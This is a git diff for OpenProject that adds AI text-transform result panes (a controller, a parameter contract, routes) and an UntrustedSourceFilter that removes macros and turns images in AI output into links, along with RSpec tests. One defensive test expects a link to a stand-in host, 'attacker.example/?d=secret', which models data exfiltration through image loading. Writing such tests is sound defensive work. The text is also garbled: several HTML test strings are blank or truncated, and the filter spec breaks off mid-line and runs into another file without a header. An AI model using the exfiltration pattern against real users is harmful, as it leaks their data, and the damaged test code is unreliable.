diff --git a/app/components/ai/text_transforms/result_pane_component/body.rb b/app/components/ai/text_transforms/result_pane_component/body.rb
index 4d4ba833352f..dbb2bb81561d 100644
--- a/app/components/ai/text_transforms/result_pane_component/body.rb
+++ b/app/components/ai/text_transforms/result_pane_component/body.rb
@@ -56,7 +56,7 @@ def done?
end
def output
- helpers.format_text(pane.text, object: pane.work_package)
+ helpers.format_text(pane.text, object: pane.work_package, project: pane.project, untrusted_source: true)
end
end
end
diff --git a/app/components/ai/text_transforms/result_pane_state.rb b/app/components/ai/text_transforms/result_pane_state.rb
index 7706018c5314..27c0473bb5c8 100644
--- a/app/components/ai/text_transforms/result_pane_state.rb
+++ b/app/components/ai/text_transforms/result_pane_state.rb
@@ -30,18 +30,20 @@
module AI
module TextTransforms
class ResultPaneState
- attr_reader :run, :scope, :request_id, :work_package, :context_ids, :rejection
+ attr_reader :run, :scope, :request_id, :context, :rejection
- def self.rejected(message:, label:, scope:, request_id:, context_ids: {})
- new(run: nil, scope:, request_id:, label:, context_ids:, rejection: message)
+ delegate :work_package, :project, to: :context
+ delegate :ids, to: :context, prefix: true
+
+ def self.rejected(message:, label:, scope:, request_id:, context: Context.none)
+ new(run: nil, scope:, request_id:, label:, context:, rejection: message)
end
- def initialize(run:, scope:, request_id:, work_package: nil, context_ids: {}, label: nil, rejection: nil)
+ def initialize(run:, scope:, request_id:, context: Context.none, label: nil, rejection: nil)
@run = run
@scope = scope
@request_id = request_id
- @work_package = work_package
- @context_ids = context_ids
+ @context = context
@label = label
@rejection = rejection
end
diff --git a/app/contracts/ai/text_transforms/pane_params_contract.rb b/app/contracts/ai/text_transforms/pane_params_contract.rb
new file mode 100644
index 000000000000..49bed8719543
--- /dev/null
+++ b/app/contracts/ai/text_transforms/pane_params_contract.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+#-- copyright
+# OpenProject is an open source project management software.
+# Copyright (C) the OpenProject GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License version 3.
+#
+# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
+# Copyright (C) 2006-2013 Jean-Philippe Lang
+# Copyright (C) 2010-2013 the ChiliProject Team
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+#
+# See COPYRIGHT and LICENSE files for more details.
+#++
+
+module AI
+ module TextTransforms
+ class PaneParamsContract < DryApplicationContract
+ SCOPES = %w[document selection].freeze
+ STATES = %w[generating done failed stopped cancelled].freeze
+ CONTEXT_KEYS = %i[work_package_id project_id type_id].freeze
+ KEYS = %i[request_id scope work_package_id project_id type_id after state action_id input retry_of].freeze
+
+ config.messages.namespace = :ai_text_transform_pane
+
+ params do
+ required(:request_id).filled(:string, :uuid_v4?)
+ required(:scope).filled(:string, included_in?: SCOPES)
+ optional(:work_package_id).maybe(:integer, gt?: 0)
+ optional(:project_id).maybe(:integer, gt?: 0)
+ optional(:type_id).maybe(:integer, gt?: 0)
+ optional(:after).maybe(:integer, gteq?: 0)
+ optional(:state).maybe(:string, included_in?: STATES)
+ optional(:action_id).maybe(:integer, gt?: 0)
+ optional(:input).maybe(:string, max_size?: AI::TextTransformRun::MAX_INPUT_LENGTH)
+ optional(:retry_of).maybe(:string, :uuid_v4?)
+ end
+
+ rule(:project_id, :work_package_id) do
+ key(:project_id).failure(:with_work_package) if values[:project_id] && values[:work_package_id]
+ end
+
+ rule(:type_id, :project_id) do
+ key(:type_id).failure(:without_project) if values[:type_id].nil? != values[:project_id].nil?
+ end
+
+ rule(:retry_of, :action_id, :input) do
+ key(:retry_of).failure(:with_action) if values[:retry_of] && (values[:action_id] || values[:input])
+ end
+ end
+ end
+end
diff --git a/app/controllers/ai/text_transform_panes_controller.rb b/app/controllers/ai/text_transform_panes_controller.rb
new file mode 100644
index 000000000000..ed208767ffc3
--- /dev/null
+++ b/app/controllers/ai/text_transform_panes_controller.rb
@@ -0,0 +1,179 @@
+# frozen_string_literal: true
+
+#-- copyright
+# OpenProject is an open source project management software.
+# Copyright (C) the OpenProject GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License version 3.
+#
+# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
+# Copyright (C) 2006-2013 Jean-Philippe Lang
+# Copyright (C) 2010-2013 the ChiliProject Team
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+#
+# See COPYRIGHT and LICENSE files for more details.
+#++
+
+module AI
+ class TextTransformPanesController < ApplicationController
+ include OpTurbo::ComponentStream
+ include AI::TextTransformActionsFeature
+
+ ACCEPTED_EVENT = "op-dispatched:ai-text-transform:accepted"
+ CLOSED_EVENT = "op-dispatched:ai-text-transform:closed"
+
+ before_action :require_login
+ before_action :require_ai_text_transform_actions_feature
+ authorization_checked! :create, :show, :destroy, :apply, :cancel
+ before_action :validate_pane_params, except: %i[destroy cancel]
+ before_action :find_run, only: %i[show apply cancel]
+ before_action :find_retried_run, only: :create
+ before_action :resolve_context, only: %i[create apply]
+
+ def show
+ return head(:no_content) if unchanged?
+
+ run.cancelled? ? close_pane : update_sections
+ respond_with_turbo_streams unless performed?
+ end
+
+ def create
+ append_to_body_via_turbo_stream(component: AI::TextTransforms::ResultPaneComponent.new(pane: start_run))
+
+ respond_with_turbo_streams
+ end
+
+ def destroy
+ own_runs.find_by(uuid: params[:uuid])&.request_cancel!
+ close_pane
+
+ respond_with_turbo_streams
+ end
+
+ def apply
+ return head(:unprocessable_entity) unless run.succeeded?
+
+ dispatch_event_via_turbo_stream(ACCEPTED_EVENT, detail: { requestId: request_id,
+ scope: pane_params[:scope],
+ text: pane_for(run).text })
+
+ respond_with_turbo_streams
+ end
+
+ def cancel
+ run.request_cancel!
+
+ head :no_content
+ end
+
+ private
+
+ attr_reader :run, :retried_run
+
+ def own_runs
+ AI::TextTransformRun.where(user: current_user)
+ end
+
+ def find_run
+ @run = own_runs.find_by(uuid: params[:uuid])
+ head :not_found unless run
+ end
+
+ def find_retried_run
+ return unless pane_params[:retry_of]
+
+ @retried_run = own_runs.failed.find_by(uuid: pane_params[:retry_of])
+ head :not_found unless retried_run
+ end
+
+ def pane_params
+ @pane_params ||= pane_contract.call(params.permit(*AI::TextTransforms::PaneParamsContract::KEYS).to_h)
+ end
+
+ def pane_contract
+ AI::TextTransforms::PaneParamsContract.new
+ end
+
+ def validate_pane_params
+ head :bad_request if pane_params.failure?
+ end
+
+ def request_id
+ pane_params[:request_id] unless pane_params.error?(:request_id)
+ end
+
+ def unchanged?
+ return false if run.events_after(pane_params[:after]).exists?
+
+ seen_state = pane_params[:state]
+ seen_state ? seen_state == pane_for(run).state : !run.terminal?
+ end
+
+ def context
+ @context || AI::TextTransforms::Context.none
+ end
+
+ def resolve_context
+ call = AI::TextTransforms::ResolveContext.new(user: current_user).call(**context_ids)
+ return @context = call.result if call.success?
+
+ head(call.errors.any? { |error| error.type == :error_not_found } ? :not_found : :forbidden)
+ end
+
+ def context_ids
+ pane_params.to_h.slice(*AI::TextTransforms::PaneParamsContract::CONTEXT_KEYS).compact
+ end
+
+ def start_run
+ action, content = run_source
+ call = AI::TextTransforms::CreateRun.new(user: current_user, action:, context:, content:).call
+ call.success? ? pane_for(call.result) : rejected_pane(call.errors, action)
+ end
+
+ def run_source
+ return [retried_run.action, retried_run.input] if retried_run
+
+ [AI::TextTransformAction.find_by(id: pane_params[:action_id]), pane_params[:input].to_s]
+ end
+
+ def pane_for(pane_run)
+ AI::TextTransforms::ResultPaneState.new(run: pane_run, scope: pane_params[:scope], request_id:, context:)
+ end
+
+ def rejected_pane(errors, action)
+ AI::TextTransforms::ResultPaneState.rejected(message: errors.full_messages.first,
+ label: action&.label.to_s,
+ scope: pane_params[:scope],
+ request_id:,
+ context:)
+ end
+
+ def update_sections
+ resolve_context
+ return if performed?
+
+ pane = pane_for(run)
+ [AI::TextTransforms::ResultPaneComponent::Body, AI::TextTransforms::ResultPaneComponent::Footer].each do |section|
+ update_via_turbo_stream(component: section.new(pane:))
+ end
+ end
+
+ def close_pane
+ remove_via_turbo_stream(component: AI::TextTransforms::ResultPaneComponent.new(pane: nil))
+ dispatch_event_via_turbo_stream(CLOSED_EVENT, detail: { requestId: request_id }) if request_id
+ end
+ end
+end
diff --git a/app/controllers/concerns/op_turbo/component_stream.rb b/app/controllers/concerns/op_turbo/component_stream.rb
index 1225d2225de7..a4212171e33b 100644
--- a/app/controllers/concerns/op_turbo/component_stream.rb
+++ b/app/controllers/concerns/op_turbo/component_stream.rb
@@ -194,6 +194,16 @@ def dispatch_event_via_turbo_stream(name, detail: {})
.render_in(view_context)
end
+ # Appends a component to `
`, for elements that live outside the page
+ # layout. Turbo replaces a direct child of `` with the same id.
+ def append_to_body_via_turbo_stream(component:)
+ turbo_streams << lambda {
+ OpTurbo::StreamComponent
+ .new(action: :append, target: nil, targets: "body", template: component.render_in(view_context))
+ .render_in(view_context)
+ }
+ end
+
def turbo_streams
@turbo_streams ||= []
end
diff --git a/app/models/ai/text_transform_run.rb b/app/models/ai/text_transform_run.rb
index 754ef2bf99a7..24ae0f848007 100644
--- a/app/models/ai/text_transform_run.rb
+++ b/app/models/ai/text_transform_run.rb
@@ -80,6 +80,10 @@ def start!
update!(status: "running")
end
+ def request_cancel!
+ update_column(:cancel_requested, true) unless terminal?
+ end
+
def finish!(status, error_message: nil)
raise ArgumentError, "#{status} is not a terminal status" unless TERMINAL_STATUSES.include?(status.to_s)
diff --git a/app/services/ai/text_transforms/context.rb b/app/services/ai/text_transforms/context.rb
index bd8bb0eebf23..a43e62b29dd3 100644
--- a/app/services/ai/text_transforms/context.rb
+++ b/app/services/ai/text_transforms/context.rb
@@ -50,6 +50,16 @@ def initialize(work_package:, project:, type:)
@type = type
end
+ def ids
+ if work_package
+ { work_package_id: work_package.id }
+ elsif project
+ { project_id: project.id, type_id: type.id }
+ else
+ {}
+ end
+ end
+
def type_variant
return @type_variant if defined?(@type_variant)
diff --git a/config/locales/en.yml b/config/locales/en.yml
index 31ae8ebcb4d7..a379f18c6c4f 100644
--- a/config/locales/en.yml
+++ b/config/locales/en.yml
@@ -5762,6 +5762,14 @@ en:
op_dry_validation:
errors:
+ ai_text_transform_pane:
+ rules:
+ project_id:
+ with_work_package: "must not be combined with a work package."
+ retry_of:
+ with_action: "must not be combined with an action or input."
+ type_id:
+ without_project: "must be given together with a project."
array?: "must be an array."
decimal?: "must be a decimal."
defined: "must not be defined."
@@ -5769,6 +5777,7 @@ en:
filled?: "must be filled."
format?: "is in invalid format."
greater_or_equal_zero: "must be greater or equal to 0."
+ gt?: "must be greater than %{num}."
gteq?: "must be greater than or equal to %{num}."
hash?: "must be a hash."
included_in?:
@@ -5777,6 +5786,7 @@ en:
range: "must be one of: %{list_left} - %{list_right}."
int?: "must be an integer."
key?: "is missing."
+ max_size?: "must not be longer than %{num} characters."
not_found: "not found."
respond_to?: "does not implement required method."
rules:
@@ -5796,6 +5806,7 @@ en:
type?: "must be %{type}."
unexpected_key: "is not allowed."
uri?: "is not a valid URI."
+ uuid_v4?: "must be a UUID (version 4)."
or: "or"
rules:
blueprint: "Pattern blueprint"
@@ -7254,6 +7265,7 @@ en:
You can freely group the fields to reflect the needs for your domain.
text_form_configuration_required_attribute: "Attribute is marked required and thus always shown"
text_formatting:
+ image_link: "Image: %{name}"
markdown: "Markdown"
plain: "Plain text"
text_git_repo_example: "a bare and local repository (e.g. /gitrepo, c:\\gitrepo)"
diff --git a/config/routes.rb b/config/routes.rb
index fbdc00bfec04..c4568ab38903 100644
--- a/config/routes.rb
+++ b/config/routes.rb
@@ -485,6 +485,15 @@
end
end
+ namespace :ai do
+ resources :text_transform_panes, only: %i[create show destroy], param: :uuid do
+ member do
+ post :apply
+ post :cancel
+ end
+ end
+ end
+
namespace :projects do
resource :menu, only: %i[show]
resource :filters, only: %i[show]
diff --git a/lib/api/v3/ai/text_transform_runs_api.rb b/lib/api/v3/ai/text_transform_runs_api.rb
index 59707297f249..b21745212665 100644
--- a/lib/api/v3/ai/text_transform_runs_api.rb
+++ b/lib/api/v3/ai/text_transform_runs_api.rb
@@ -104,7 +104,7 @@ def raise_create_failure(errors)
namespace :cancel do
post do
- @run.update!(cancel_requested: true) unless @run.terminal?
+ @run.request_cancel!
status 204
end
diff --git a/lib/open_project/text_formatting/filters/untrusted_source_filter.rb b/lib/open_project/text_formatting/filters/untrusted_source_filter.rb
new file mode 100644
index 000000000000..c6b0706e0457
--- /dev/null
+++ b/lib/open_project/text_formatting/filters/untrusted_source_filter.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+#-- copyright
+# OpenProject is an open source project management software.
+# Copyright (C) the OpenProject GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License version 3.
+#
+# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
+# Copyright (C) 2006-2013 Jean-Philippe Lang
+# Copyright (C) 2010-2013 the ChiliProject Team
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+#
+# See COPYRIGHT and LICENSE files for more details.
+#++
+
+module OpenProject::TextFormatting
+ module Filters
+ class UntrustedSourceFilter < HTML::Pipeline::Filter
+ def call
+ return doc unless context[:untrusted_source]
+
+ doc.css("macro").each(&:remove)
+ doc.css("img").each { |image| image.replace(link_for(image)) }
+
+ doc
+ end
+
+ private
+
+ def link_for(image)
+ source = image["src"].to_s
+ link = doc.document.create_element("a", href: source)
+ link.content = I18n.t("text_formatting.image_link", name: image["alt"].presence || source)
+ link
+ end
+ end
+ end
+end
diff --git a/lib/open_project/text_formatting/formats/markdown/formatter.rb b/lib/open_project/text_formatting/formats/markdown/formatter.rb
index 6d9d41909c6e..0fe1e277ddcf 100644
--- a/lib/open_project/text_formatting/formats/markdown/formatter.rb
+++ b/lib/open_project/text_formatting/formats/markdown/formatter.rb
@@ -44,6 +44,7 @@ class Formatter < OpenProject::TextFormatting::Formats::BaseFormatter
OpenProject::TextFormatting::Filters::AttachmentFilter,
OpenProject::TextFormatting::Filters::AutolinkFilter,
OpenProject::TextFormatting::Filters::AutolinkCustomProtocolsFilter,
+ OpenProject::TextFormatting::Filters::UntrustedSourceFilter,
OpenProject::TextFormatting::Filters::RelativeLinkFilter,
OpenProject::TextFormatting::Filters::LinkAttributeFilter,
OpenProject::TextFormatting::Filters::ExternalLinkCaptureFilter,
diff --git a/spec/components/ai/text_transforms/result_pane_component/body_spec.rb b/spec/components/ai/text_transforms/result_pane_component/body_spec.rb
index de8b0e0d0cbf..93dfe2f8eb2e 100644
--- a/spec/components/ai/text_transforms/result_pane_component/body_spec.rb
+++ b/spec/components/ai/text_transforms/result_pane_component/body_spec.rb
@@ -74,6 +74,30 @@
end
end
+ context "with an image in the output" do
+ before do
+ run.events.build(kind: "text_delta", payload: { "delta" => " " }, seq: 2)
+ end
+
+ it "links the image instead of loading it" do
+ expect(subject).to have_no_css("img", visible: :all)
+ expect(subject).to have_link("Image: chart", href: "https://attacker.example/?d=secret")
+ end
+ end
+
+ context "for a new work package of a project" do
+ let(:type) { create(:type) }
+ let(:project) { create(:project, :with_internal_wiki, types: [type]).reload }
+ let(:context) { AI::TextTransforms::Context.for_new_work_package(project:, type:) }
+ let(:pane) { AI::TextTransforms::ResultPaneState.new(run:, scope:, request_id: SecureRandom.uuid, context:) }
+
+ before { run.events.build(kind: "text_delta", payload: { "delta" => " [[Release notes]]" }, seq: 2) }
+
+ it "resolves wiki links within the project" do
+ expect(subject).to have_link("Release notes", href: %r{\A/projects/#{project.identifier}/wiki/release-notes})
+ end
+ end
+
context "when stopped" do
let(:status) { "failed" }
diff --git a/spec/contracts/ai/text_transforms/pane_params_contract_spec.rb b/spec/contracts/ai/text_transforms/pane_params_contract_spec.rb
new file mode 100644
index 000000000000..47b861628dd0
--- /dev/null
+++ b/spec/contracts/ai/text_transforms/pane_params_contract_spec.rb
@@ -0,0 +1,80 @@
+# frozen_string_literal: true
+
+#-- copyright
+# OpenProject is an open source project management software.
+# Copyright (C) the OpenProject GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License version 3.
+#
+# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
+# Copyright (C) 2006-2013 Jean-Philippe Lang
+# Copyright (C) 2010-2013 the ChiliProject Team
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+#
+# See COPYRIGHT and LICENSE files for more details.
+#++
+
+require "spec_helper"
+
+RSpec.describe AI::TextTransforms::PaneParamsContract do
+ let(:valid) { { request_id: SecureRandom.uuid, scope: "document" } }
+
+ def errors_for(params)
+ described_class.new.call(valid.merge(params)).errors
+ end
+
+ it "accepts a request id and a scope without a context" do
+ expect(errors_for({})).to be_empty
+ end
+
+ {
+ "a work package" => { work_package_id: "7" },
+ "a project and a type" => { project_id: "1", type_id: "2" },
+ "blank context ids" => { work_package_id: "", project_id: "1", type_id: "2" },
+ "an action and input" => { action_id: "3", input: "Text" },
+ "a retry" => { retry_of: SecureRandom.uuid },
+ "a poll position and state" => { after: "0", state: "done" }
+ }.each do |description, params|
+ it "accepts #{description}" do
+ expect(errors_for(params)).to be_empty
+ end
+ end
+
+ {
+ "a request id that is not a UUID" => [{ request_id: "pane-1" }, :request_id, "must be a UUID (version 4)."],
+ "a missing request id" => [{ request_id: nil }, :request_id, "must be filled."],
+ "an unknown scope" => [{ scope: "page" }, :scope, "must be one of: document, selection."],
+ "a non-numeric action id" => [{ action_id: "fix" }, :action_id, "must be an integer."],
+ "an unknown state" => [{ state: "paused" }, :state, "must be one of: generating, done, failed, stopped, cancelled."],
+ "a work package together with a project" =>
+ [{ work_package_id: "7", project_id: "1", type_id: "2" }, :project_id, "must not be combined with a work package."],
+ "a project without a type" => [{ project_id: "1" }, :type_id, "must be given together with a project."],
+ "a type without a project" => [{ type_id: "2" }, :type_id, "must be given together with a project."],
+ "a retry together with an action" =>
+ [{ retry_of: SecureRandom.uuid, action_id: "3" }, :retry_of, "must not be combined with an action or input."],
+ "a retry that is not a UUID" => [{ retry_of: "run-1" }, :retry_of, "must be a UUID (version 4)."]
+ }.each do |description, (params, key, message)|
+ it "rejects #{description}" do
+ expect(errors_for(params)[key]).to contain_exactly(message)
+ end
+ end
+
+ it "rejects input over the maximum length of a run" do
+ input = "x" * (AI::TextTransformRun::MAX_INPUT_LENGTH + 1)
+
+ expect(errors_for(input:)[:input]).to be_present
+ end
+end
diff --git a/spec/controllers/concerns/op_turbo/component_stream_spec.rb b/spec/controllers/concerns/op_turbo/component_stream_spec.rb
index a8f89fe7d0bc..a772ec5f57bb 100644
--- a/spec/controllers/concerns/op_turbo/component_stream_spec.rb
+++ b/spec/controllers/concerns/op_turbo/component_stream_spec.rb
@@ -35,13 +35,18 @@
controller(ApplicationController) do
include described_module
- no_authorization_required! :update, :set_page_title
+ no_authorization_required! :update, :set_page_title, :append_to_body
def update
dispatch_event_via_turbo_stream(params[:event_name], detail: { work_package_id: 42 })
respond_to_with_turbo_streams
end
+ def append_to_body
+ append_to_body_via_turbo_stream(component: Primer::Beta::Octicon.new(icon: :sparkle, id: "appended"))
+ respond_to_with_turbo_streams
+ end
+
def set_page_title
project = Project.new(name: params[:project_name]) if params[:project_name].present?
set_page_title_via_turbo_stream(*params[:parts], project:)
@@ -55,6 +60,17 @@ def set_page_title
routes.draw do
get "update" => "anonymous#update"
get "set_page_title" => "anonymous#set_page_title"
+ get "append_to_body" => "anonymous#append_to_body"
+ end
+ end
+
+ describe "#append_to_body_via_turbo_stream" do
+ it "renders an append turbo stream targeting the body" do
+ get :append_to_body, as: :turbo_stream
+
+ stream = Nokogiri::HTML5.fragment(response.body).at_css('turbo-stream[action="append"]')
+ expect(stream["targets"]).to eq("body")
+ expect(stream.at_css("template svg#appended")).to be_present
end
end
diff --git a/spec/lib/open_project/text_formatting/filters/untrusted_source_filter_spec.rb b/spec/lib/open_project/text_formatting/filters/untrusted_source_filter_spec.rb
new file mode 100644
index 000000000000..5551f6683c0b
--- /dev/null
+++ b/spec/lib/open_project/text_formatting/filters/untrusted_source_filter_spec.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+#-- copyright
+# OpenProject is an open source project management software.
+# Copyright (C) the OpenProject GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License version 3.
+#
+# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
+# Copyright (C) 2006-2013 Jean-Philippe Lang
+# Copyright (C) 2010-2013 the ChiliProject Team
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+#
+# See COPYRIGHT and LICENSE files for more details.
+#++
+
+require "spec_helper"
+
+RSpec.describe OpenProject::TextFormatting::Filters::UntrustedSourceFilter do
+ let(:html) do
+ 'Text

' \
+ ''
+ end
+
+ subject(:result) { described_class.new(html, context).call.to_html }
+
+ context "for an untrusted source" do
+ let(:context) { { untrusted_source: true } }
+
+ it "turns images into links so that nothing is fetched" do
+ expect(result).not_to include("
Image: Logo')
+ expect(result).to include('Image: /attachments/1')
+ end
+
+ it "removes macros" do
+ expect(result).not_to include(".
+#
+# See COPYRIGHT and LICENSE files for more details.
+#++
+
+require "spec_helper"
+
+RSpec.describe "AI text transform panes", :skip_csrf, type: :rails_request,
+ with_flag: { ai_text_transform_actions: true },
+ with_settings: { ai_text_transform_actions_enabled: true } do
+ shared_let(:type) { create(:type) }
+ shared_let(:project) { create(:project, types: [type]) }
+ shared_let(:work_package) { create(:work_package, project:, type:) }
+ shared_let(:action) { create(:ai_text_transform_action, label: "Fix grammar") }
+ shared_let(:user) do
+ create(:user, member_with_permissions: { project => %i[view_work_packages edit_work_packages add_work_packages] })
+ end
+
+ let(:request_id) { SecureRandom.uuid }
+ let(:stream) { { "Accept" => "text/vnd.turbo-stream.html" } }
+ let(:pane_params) { { request_id:, scope: "selection", work_package_id: work_package.id } }
+ let(:start_params) { pane_params.merge(action_id: action.id, input: "Login page dont work.") }
+
+ current_user { user }
+
+ before do
+ allow(AI::TextTransforms::Gateway).to receive(:build).and_return(AI::TextTransforms::FakeGateway.new)
+ end
+
+ def run_with_events(status, *events)
+ create(:ai_text_transform_run, status, user:, action:).tap do |run|
+ events.each.with_index(1) { |(kind, payload), seq| create(:ai_text_transform_run_event, run:, seq:, kind:, payload:) }
+ end
+ end
+
+ describe "POST create" do
+ it "starts a run and appends the pane to the body" do
+ expect { post ai_text_transform_panes_path, params: start_params, headers: stream }
+ .to have_enqueued_job(AI::TextTransformJob)
+
+ expect(AI::TextTransformRun.sole).to have_attributes(user:, input: "Login page dont work.", status: "queued")
+ expect(response).to have_http_status(:ok)
+ expect(response.body).to include('action="append"', 'targets="body"', 'id="ai-text-transforms-result-pane-component"',
+ "Fix grammar", "Generating…")
+ end
+
+ it "starts a run for a new work package of a project and type" do
+ post ai_text_transform_panes_path,
+ params: start_params.except(:work_package_id).merge(project_id: project.id, type_id: type.id),
+ headers: stream
+
+ expect(response).to have_http_status(:ok)
+ expect(AI::TextTransformRun.count).to eq(1)
+ end
+
+ it "repeats a run of the user's with its action and input" do
+ failed = run_with_events(:failed, ["error", { "reason" => "upstream_error", "message" => "Failed." }])
+
+ post ai_text_transform_panes_path, params: pane_params.merge(retry_of: failed.uuid), headers: stream
+
+ retried = AI::TextTransformRun.where.not(id: failed.id).sole
+ expect(retried).to have_attributes(action: failed.action, input: failed.input, status: "queued")
+ end
+
+ it "does not repeat a run that is still running" do
+ running = run_with_events(:running)
+
+ post ai_text_transform_panes_path, params: pane_params.merge(retry_of: running.uuid), headers: stream
+
+ expect(response).to have_http_status(:not_found)
+ expect(AI::TextTransformRun.count).to eq(1)
+ end
+
+ it "does not repeat another user's run" do
+ other = create(:ai_text_transform_run, :failed)
+
+ post ai_text_transform_panes_path, params: pane_params.merge(retry_of: other.uuid), headers: stream
+
+ expect(response).to have_http_status(:not_found)
+ expect(AI::TextTransformRun.count).to eq(1)
+ end
+
+ it "renders the pane as failed when the action is not available" do
+ inactive = create(:ai_text_transform_action, label: "Inactive", active: false)
+
+ post ai_text_transform_panes_path, params: start_params.merge(action_id: inactive.id), headers: stream
+
+ expect(response).to have_http_status(:ok)
+ expect(AI::TextTransformRun.count).to eq(0)
+ expect(response.body).to include('action="append"', "Inactive", "Generation failed")
+ end
+
+ context "without the permission to edit the work package" do
+ current_user { create(:user, member_with_permissions: { project => %i[view_work_packages] }) }
+
+ it "is forbidden" do
+ post ai_text_transform_panes_path, params: start_params, headers: stream
+
+ expect(response).to have_http_status(:forbidden)
+ expect(AI::TextTransformRun.count).to eq(0)
+ end
+ end
+
+ it "does not find an invisible work package" do
+ post ai_text_transform_panes_path, params: start_params.merge(work_package_id: create(:work_package).id), headers: stream
+
+ expect(response).to have_http_status(:not_found)
+ end
+
+ it "does not find a type that is not enabled in the project" do
+ other_type = create(:type)
+
+ post ai_text_transform_panes_path,
+ params: start_params.except(:work_package_id).merge(project_id: project.id, type_id: other_type.id),
+ headers: stream
+
+ expect(response).to have_http_status(:not_found)
+ expect(AI::TextTransformRun.count).to eq(0)
+ end
+
+ it "rejects invalid parameters" do
+ post ai_text_transform_panes_path, params: start_params.merge(request_id: "pane-1"), headers: stream
+
+ expect(response).to have_http_status(:bad_request)
+ expect(AI::TextTransformRun.count).to eq(0)
+ end
+
+ context "when not logged in" do
+ current_user { User.anonymous }
+
+ it "starts no run" do
+ post ai_text_transform_panes_path, params: start_params, headers: stream
+
+ expect(response).not_to have_http_status(:ok)
+ expect(AI::TextTransformRun.count).to eq(0)
+ end
+ end
+ end
+
+ context "with the feature flag inactive", with_flag: { ai_text_transform_actions: false } do
+ let(:run) { run_with_events(:succeeded, ["completed", { "text" => "Done." }]) }
+
+ {
+ "create" => ->(_run, params) { [:post, ai_text_transform_panes_path, params] },
+ "show" => ->(run, params) { [:get, ai_text_transform_pane_path(run.uuid, **params), {}] },
+ "destroy" => ->(run, params) { [:delete, ai_text_transform_pane_path(run.uuid), params] },
+ "apply" => ->(run, params) { [:post, apply_ai_text_transform_pane_path(run.uuid), params] },
+ "cancel" => ->(run, _params) { [:post, cancel_ai_text_transform_pane_path(run.uuid), {}] }
+ }.each do |name, request|
+ it "is not found for #{name}" do
+ verb, path, params = instance_exec(run, start_params, &request)
+
+ public_send(verb, path, params:, headers: stream)
+
+ expect(response).to have_http_status(:not_found)
+ end
+ end
+ end
+
+ describe "GET show" do
+ it "answers without content while nothing new happened" do
+ run = run_with_events(:running, ["status", { "status" => "running" }])
+ allow(AI::TextTransforms::ResolveContext).to receive(:new).and_call_original
+
+ get ai_text_transform_pane_path(run.uuid, **pane_params, after: 1), headers: stream
+
+ expect(response).to have_http_status(:no_content)
+ expect(AI::TextTransforms::ResolveContext).not_to have_received(:new)
+ end
+
+ it "answers without content once the client has seen the final state" do
+ run = run_with_events(:succeeded, ["completed", { "text" => "Done." }])
+
+ get ai_text_transform_pane_path(run.uuid, **pane_params, after: 1, state: "done"), headers: stream
+
+ expect(response).to have_http_status(:no_content)
+ end
+
+ it "updates a pane whose run finished after its last event" do
+ run = run_with_events(:succeeded, ["completed", { "text" => "Done." }])
+
+ get ai_text_transform_pane_path(run.uuid, **pane_params, after: 1, state: "generating"), headers: stream
+
+ expect(response).to have_http_status(:ok)
+ expect(response.body).to include("Replace")
+ end
+
+ it "streams the text so far as formatted html" do
+ run = run_with_events(:running, ["status", { "status" => "running" }], ["text_delta", { "delta" => "**bold** text" }])
+
+ get ai_text_transform_pane_path(run.uuid, **pane_params, after: 1), headers: stream
+
+ expect(response).to have_http_status(:ok)
+ expect(response.body).to include('action="update"', 'target="ai-text-transforms-result-pane-component-body"',
+ 'target="ai-text-transforms-result-pane-component-footer"',
+ "bold text", "Generating…")
+ end
+
+ it "offers the raw text once completed" do
+ run = run_with_events(:succeeded, ["completed", { "text" => "**done**" }])
+
